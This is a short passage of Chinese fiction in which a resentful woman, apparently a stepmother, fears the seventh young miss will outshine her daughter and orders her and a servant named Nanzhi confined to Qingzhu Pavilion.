要是有老师教导她，她传出甚么美名，岂不是跟她那个死去的娘一样，样样压着她的女儿？那简直是拿刀割她的心！ “既一个两个都不听话，那便一起禁在青竹轩。”七姑娘是，那个南枝也是。